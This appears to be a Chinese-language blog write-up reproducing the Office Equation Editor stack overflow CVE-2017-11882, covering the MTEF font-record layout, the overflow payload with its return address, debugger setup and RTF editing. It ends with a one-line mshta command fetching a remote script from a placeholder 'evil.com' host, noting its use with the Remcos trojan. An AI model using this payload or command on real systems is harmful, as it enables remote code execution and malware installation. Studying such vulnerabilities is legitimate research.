CVE-2017-11882漏洞复现

office CVE-2017-11882 复现及学习

CVE-2017-11882漏洞复现

复现的第一个 CVE,漏洞点为较简单的栈溢出

漏洞成因

  • office2016 之前的公式编辑器 EQNEDT21.EXE 存在缓冲区溢出
  • EQNEDT21.EXE 组件在 2000 年后就没有更新过,不存在 ASLR 之类的保护,漏洞利用简单且危害性大
  • font name 字段在 strcpy 的时候没有检测长度

漏洞分析

  • 复现环境:Windows 7 Ultimate with Service Pack 1 (x64),office2013

    静态分析

    文件结构

  • stream header
  • MTEF header
Description Size (byte) Value Comment
MTEF Version 1 0x3 MTEFv3
Generating Platform 1 0x1 Windows
Generating Product 1 0x1 Equation Editor
Product Version 1 0x3
Product Subversion 1 0xa
  • MTEF records
Description Size (byte) Value Comment
Tag 1 0x8 0x8 denotes Font record
Typeface Number 1 0x5a
Style 1 0x5a
Font Name Variable, NULL terminated “cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA” + 0x00430c12 Overflow and overwrite return address

漏洞点

  • 这里的 strcpy 没有检测 SubStr 的长度,如果 SubStr 长度够长就能够实现栈溢出,覆盖返回地址为任意地址
  • 程序没有开启随机化保护,利用更加简单
  • RTF 文件结构的分析可以使用 oletools

动态调试

  • poc 来自 https://github.com/Ridter/CVE-2017-11882

  • 为了让程序在启动时就附加调试需要修改注册表(为了调试 poc)

    1. win+r 输入 regedit
    2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 下找到需要调试的程序(没有的话可以新建项)
    3. 新建字符串值,key 为 debugger,value 是调试器(这里是 windbg)所在路径
    4. 设置好之后启动程序(打开 exploit.rtf),调试器能够马上附加上
  • 根据静态分析结果在 0x411658 处下断点,在第二次到达该断点时可以看到 exp 内容
  • 在执行完这一条指令之后返回地址被覆盖,实现栈溢出
  • 这里返回地址的内容是是 call ds:WinExec ,第一个参数是 cmd.exe /c calc.exe,第二个参数为 0,执行完之后会弹出计算器

WinExec:Runs the specified application.
nf-winbase-winexec

漏洞利用

  • word 文档插入公式对象生成一个 ole 复合文档,更改 rtf 文件内容实现利用

找到输入的公式,如下图所示,更改上述提到的 MTEF header 让之后的内容成为 font 字段,修改字段内容实现利用(长度有限制)

修改完要执行的 shellcode 之后不要忘了在前面加上 \objupdate,这样才能使得内容生效

  • Remcos 木马为例的远控木马

利用 mshta.exe 执行远程脚本,脚本可以利用 powershell 下载及执行木马

mshta.exe https//evil.com/evil

Ref

作者

0wl

发布于

2022-03-25

更新于

2022-03-25

许可协议

评论